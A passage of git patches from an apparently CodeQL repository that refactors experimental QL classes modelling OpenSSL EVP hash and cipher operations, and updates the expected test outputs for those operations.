this.(Call).getArgument(1) } + override EVP_Hash_Initializer getInitCall() { // This variant of digest does not use an init // and even if it were used, the init would be ignored/undefined none() } - override Expr getOutputArg() { result = this.(Call).getArgument(5) } - override Expr getInputArg() { result = this.(Call).getArgument(3) } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } - - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } + override Expr getOutputArg() { result = this.(Call).getArgument(5) } - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - // The operation is a direct algorithm consumer - // NOTE: the operation itself is already modeld as a value consumer, so we can - // simply return 'this', see modeled hash algorithm consuers for EVP_Q_Digest - this = result + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPOneShot.super.getOutputArtifact() } - override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPOneShot.super.getInputConsumer() + } } -class EVP_Digest_Operation extends EVP_Hash_Operation { +class EVP_Digest_Operation extends EVPOneShot, Crypto::HashOperationInstance { EVP_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Digest" } // There is no context argument for this function override Expr getContextArg() { none() } + override Expr getAlgorithmArg() { result = this.(Call).getArgument(4) } + override EVP_Hash_Initializer getInitCall() { // This variant of digest does not use an init // and even if it were used, the init would be ignored/undefined none() } - override Expr getAlgorithmArg() { result = this.(Call).getArgument(4) } - - override Expr getOutputArg() { result = this.(Call).getArgument(2) } - override Expr getInputArg() { result = this.(Call).getArgument(0) } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } - - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } -} - -// NOTE: not modeled as hash operations, these are intermediate calls -class EVP_Digest_Update_Call extends Call { - EVP_Digest_Update_Call() { this.(Call).getTarget().getName() in ["EVP_DigestUpdate"] } - - Expr getInputArg() { result = this.(Call).getArgument(1) } + override Expr getOutputArg() { result = this.(Call).getArgument(2) } - DataFlow::Node getInputNode() { result.asExpr() = this.getInputArg() } + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPOneShot.super.getOutputArtifact() + } - Expr getContextArg() { result = this.(Call).getArgument(0) } + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPOneShot.super.getInputConsumer() + } } -class EVP_Digest_Final_Call extends EVP_Hash_Operation { +class EVP_Digest_Final_Call extends EVPFinal, Crypto::HashOperationInstance { EVP_Digest_Final_Call() { this.(Call).getTarget().getName() in [ "EVP_DigestFinal", "EVP_DigestFinal_ex", "EVP_DigestFinalXOF" ] } - EVP_Digest_Update_Call getUpdateCalls() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } - - override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } - - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } - override Expr getOutputArg() { result = this.(Call).getArgument(1) } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPFinal.super.getOutputArtifact() + } + + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPFinal.super.getInputConsumer() + } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index f9753e92c5d2..9cccd6395a1c 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -1,21 +1,157 @@ private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +/** + * All OpenSSL operations. + */ abstract class OpenSSLOperation extends Crypto::OperationInstance instanceof Call { + /** + * Expression that specifies the algorithm for the operation. + * Will be an argument of the operation in the simplest case. + */ + abstract Expr getAlgorithmArg(); + + /** + * Algorithm is specified in initialization call or is implicitly established by the key. + */ + override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { + AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), + DataFlow::exprNode(this.getAlgorithmArg())) + } +} + +/** + * Calls to initialization functions of EVP API. + * These are not operations in the sense of Crypto::OperationInstance, + * but they are used to initialize the context for the operation. + */ +abstract class EVPInitialize extends Call { + /** + * The context argument that ties together initialization, updates and/or final calls. + */ + Expr getContextArg() { result = this.(Call).getArgument(0) } + + /** + * The type of key operation, none if not applicable. + */ + Crypto::KeyOperationSubtype getKeyOperationSubtype() { none() } + + /** + * Explicitly specified algorithm or none if implicit (e.g., established by the key). + * None if not applicable. + */ + Expr getAlgorithmArg() { none() } + + /** + * The key for the operation, none if not applicable. + */ + Expr getKeyArg() { none() } + + /** + * The IV/nonce, none if not applicable. + */ + Expr getIVArg() { none() } +} + +/** + * Calls to update functions of EVP API. + * These are not operations in the sense of Crypto::OperationInstance, + * but they are used to update the context for the operation. + */ +abstract class EVPUpdate extends Call { + /** + * The context argument that ties together initialization, updates and/or final calls. + */ + Expr getContextArg() { result = this.(Call).getArgument(0) } + + /** + * Update calls always have some input data like plaintext or message digest. + */ abstract Expr getInputArg(); +} + +/** + * Flows from algorithm values to operations, specific to OpenSSL + */ +private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node source) { + exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) + } + + predicate isSink(DataFlow::Node sink) { + exists(EVPOperation c | c.getAlgorithmArg() = sink.asExpr()) + } +} + +private module AlgGetterToAlgConsumerFlow = DataFlow::Global; + +/** + * Base class for all operations of the EVP API. + * Currently final calls and one-shot calls are implemented. + * Provides some default methods for Crypto::KeyOperationInstance class + */ +abstract class EVPOperation extends OpenSSLOperation { + /** + * The context argument that ties together initialization, updates and/or final calls. + */ + Expr getContextArg() { result = this.(Call).getArgument(0) } /** - * Can be an argument of a call or a return value of a function. + * Some input data like plaintext or message digest. + * Either argument provided direcly in the call or all arguments that were provided in update calls. + */ + abstract Expr getInputArg(); + + /** + * Some output data like ciphertext or signature. + * Always produced directly by this operation. + * Assumption: output is provided as an argument to the call, never as return value. */ abstract Expr getOutputArg(); - DataFlow::Node getInputNode() { - // Assumed to be default to asExpr - result.asExpr() = this.getInputArg() + /** + * Overwrite with an explicitly specified algorithm or leave base implementation to find it in the initialization call. + */ + override Expr getAlgorithmArg() { + if exists(this.getInitCall()) then result = this.getInitCall().getAlgorithmArg() else none() + } + + /** + * Finds the initialization call, may be none. + */ + EVPInitialize getInitCall() { + CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) } - DataFlow::Node getOutputNode() { - if exists(Call c | c.getAnArgument() = this) - then result.asDefiningArgument() = this - else result.asExpr() = this + Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result.asExpr() = this.getOutputArg() } + + /** + * Input consumer is the input argument of the call. + */ + Crypto::ConsumerInputDataFlowNode getInputConsumer() { result.asExpr() = this.getInputArg() } } + +/** + * Final calls of EVP API. + */ +abstract class EVPFinal extends EVPOperation { + /** + * All update calls that were executed before this final call. + */ + EVPUpdate getUpdateCalls() { + CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) + } + + /** + * The input data was provided to all update calls. + */ + override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } +} + +/** + * One-shot calls of EVP API. + */ +abstract class EVPOneShot extends EVPOperation { } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll index f6ff0dd1f077..54ac977ead0d 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll @@ -2,3 +2,4 @@ import OpenSSLOperationBase import EVPCipherOperation import EVPHashOperation import ECKeyGenOperation +import EVPSignatureOperation diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected b/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected index 074f86fd4494..d566397eacad 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected @@ -1,8 +1,8 @@ -| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | -| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | -| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | -| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | -| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | -| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | -| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | -| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected b/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected index 9e52ea448856..247c4389bc1a 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected @@ -1,2 +1,2 @@ -| openssl_basic.c:124:13:124:30 | HashOperation | openssl_basic.c:124:13:124:30 | Digest | openssl_basic.c:116:38:116:47 | HashAlgorithm | openssl_basic.c:120:37:120:43 | Message | -| openssl_basic.c:144:13:144:22 | HashOperation | openssl_basic.c:144:13:144:22 | Digest | openssl_basic.c:144:67:144:73 | HashAlgorithm | openssl_basic.c:144:24:144:30 | Message | +| openssl_basic.c:124:13:124:30 | HashOperation | openssl_basic.c:124:39:124:44 | Digest | openssl_basic.c:116:38:116:47 | HashAlgorithm | openssl_basic.c:120:37:120:43 | Message | +| openssl_basic.c:144:13:144:22 | HashOperation | openssl_basic.c:144:46:144:51 | Digest | openssl_basic.c:144:67:144:73 | HashAlgorithm | openssl_basic.c:144:24:144:30 | Message | From af8702d6a8a08ef4bb58380e01631ddea1fdc0da Mon Sep 17 00:00:00 2001 From: GrosQuildu Date: Wed, 28 May 2025 18:39:15 +0200 Subject: [PATCH 513/535] fix openssl outputs --- .../OpenSSL/Operations/EVPCipherOperation.qll | 11 ++++++++++ .../Operations/OpenSSLOperationBase.qll | 20 +++++++++++++++---- .../OpenSSL/Operations/OpenSSLOperations.qll | 1 - .../openssl/cipher_operations.expected | 8 ++++++++ 4 files changed, 35 insertions(+), 5 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index fb06543ee5bb..993b5ad60a92 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -12,6 +12,8 @@ class EVP_Cipher_Update_Call extends EVPUpdate { } override Expr getInputArg() { result = this.(Call).getArgument(3) } + + override Expr getOutputArg() { result = this.(Call).getArgument(1) } } /** @@ -63,4 +65,13 @@ class EVP_Cipher_Final_Call extends EVPFinal, EVP_Cipher_Operation { "EVP_DecryptFinal", "EVP_CipherFinal" ] } + + /** + * Output is both from update calls and from the final call. + */ + override Expr getOutputArg() { + result = EVPFinal.super.getOutputArg() + or + result = EVP_Cipher_Operation.super.getOutputArg() + } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index 9cccd6395a1c..d7dc2483c84a 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -69,6 +69,11 @@ abstract class EVPUpdate extends Call { * Update calls always have some input data like plaintext or message digest. */ abstract Expr getInputArg(); + + /** + * Update calls sometimes have some output data like a plaintext. + */ + Expr getOutputArg() { none() } } /** @@ -105,8 +110,6 @@ abstract class EVPOperation extends OpenSSLOperation { /** * Some output data like ciphertext or signature. - * Always produced directly by this operation. - * Assumption: output is provided as an argument to the call, never as return value. */ abstract Expr getOutputArg(); @@ -125,13 +128,15 @@ abstract class EVPOperation extends OpenSSLOperation { } Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { - result.asExpr() = this.getOutputArg() + result = DataFlow::exprNode(this.getOutputArg()) } /** * Input consumer is the input argument of the call. */ - Crypto::ConsumerInputDataFlowNode getInputConsumer() { result.asExpr() = this.getInputArg() } + Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = DataFlow::exprNode(this.getInputArg()) + } } /** @@ -147,8 +152,15 @@ abstract class EVPFinal extends EVPOperation { /** * The input data was provided to all update calls. + * If more input data was provided in the final call, override the method. */ override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } + + /** + * The output data was provided to all update calls. + * If more output data was provided in the final call, override the method. + */ + override Expr getOutputArg() { result = this.getUpdateCalls().getOutputArg() } } /** diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll index 54ac977ead0d..f6ff0dd1f077 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll @@ -2,4 +2,3 @@ import OpenSSLOperationBase import EVPCipherOperation import EVPHashOperation import ECKeyGenOperation -import EVPSignatureOperation diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected b/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected index d566397eacad..73b0af3ad5f4 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected @@ -1,7 +1,15 @@ +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | | openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | | openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | | openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | | openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | | openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | | openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | | openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | From f103e8be96a261ff6fbdb0b118096c77d59c94e5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Pawe=C5=82=20P=C5=82atek?= Date: Thu, 29 May 2025 11:12:31 +0200 Subject: [PATCH 514/535] Update cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll Co-authored-by: Ben Rodes --- .../quantum/OpenSSL/Operations/OpenSSLOperationBase.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index d7dc2483c84a..e97181c744f4 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -22,7 +22,7 @@ abstract class OpenSSLOperation extends Crypto::OperationInstance instanceof Cal } /** - * Calls to initialization functions of EVP API. + * A Call to initialization functions from the EVP API. * These are not operations in the sense of Crypto::OperationInstance, * but they are used to initialize the context for the operation. */ From 328cf798bf330ed58502be13f0ff5f0d6ef14126 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Pawe=C5=82=20P=C5=82atek?= Date: Thu, 29 May 2025 11:14:16 +0200 Subject: [PATCH 515/535] Apply docs suggestions Co-authored-by: Ben Rodes --- .../quantum/OpenSSL/Operations/OpenSSLOperationBase.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index e97181c744f4..dcd2d83cdc5b 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -55,7 +55,7 @@ abstract class EVPInitialize extends Call { } /** - * Calls to update functions of EVP API. + * A Call to update functions from the EVP API. * These are not operations in the sense of Crypto::OperationInstance, * but they are used to update the context for the operation. */ @@ -92,7 +92,7 @@ private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { private module AlgGetterToAlgConsumerFlow = DataFlow::Global; /** - * Base class for all operations of the EVP API. + * The base class for all operations of the EVP API. * Currently final calls and one-shot calls are implemented. * Provides some default methods for Crypto::KeyOperationInstance class */ From f04fa58c8b5d8e06e76e13fbef03bc8b4286c83e Mon Sep 17 00:00:00 2001 From: GrosQuildu Date: Thu, 29 May 2025 11:33:52 +0200 Subject: [PATCH 516/535] rm one-shot class --- .../OpenSSL/Operations/EVPCipherOperation.qll | 2 +- .../quantum/OpenSSL/Operations/EVPHashOperation.qll | 12 ++++++------ .../OpenSSL/Operations/OpenSSLOperationBase.qll | 7 +------ 3 files changed, 8 insertions(+), 13 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index 993b5ad60a92..5f24d840ff88 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -52,7 +52,7 @@ abstract class EVP_Cipher_Operation extends EVPOperation, Crypto::KeyOperationIn } } -class EVP_Cipher_Call extends EVPOneShot, EVP_Cipher_Operation { +class EVP_Cipher_Call extends EVPOperation, EVP_Cipher_Operation { EVP_Cipher_Call() { this.(Call).getTarget().getName() = "EVP_Cipher" } override Expr getInputArg() { result = this.(Call).getArgument(2) } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll index 2b798a96b7e2..f2907db56781 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll @@ -15,7 +15,7 @@ class EVP_Digest_Update_Call extends EVPUpdate { } //https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis -class EVP_Q_Digest_Operation extends EVPOneShot, Crypto::HashOperationInstance { +class EVP_Q_Digest_Operation extends EVPOperation, Crypto::HashOperationInstance { EVP_Q_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Q_digest" } override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } @@ -31,15 +31,15 @@ class EVP_Q_Digest_Operation extends EVPOneShot, Crypto::HashOperationInstance { override Expr getOutputArg() { result = this.(Call).getArgument(5) } override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { - result = EVPOneShot.super.getOutputArtifact() + result = EVPOperation.super.getOutputArtifact() } override Crypto::ConsumerInputDataFlowNode getInputConsumer() { - result = EVPOneShot.super.getInputConsumer() + result = EVPOperation.super.getInputConsumer() } } -class EVP_Digest_Operation extends EVPOneShot, Crypto::HashOperationInstance { +class EVP_Digest_Operation extends EVPOperation, Crypto::HashOperationInstance { EVP_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Digest" } // There is no context argument for this function @@ -58,11 +58,11 @@ class EVP_Digest_Operation extends EVPOneShot, Crypto::HashOperationInstance { override Expr getOutputArg() { result = this.(Call).getArgument(2) } override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { - result = EVPOneShot.super.getOutputArtifact() + result = EVPOperation.super.getOutputArtifact() } override Crypto::ConsumerInputDataFlowNode getInputConsumer() { - result = EVPOneShot.super.getInputConsumer() + result = EVPOperation.super.getInputConsumer() } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index dcd2d83cdc5b..7e9e781c8971 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ 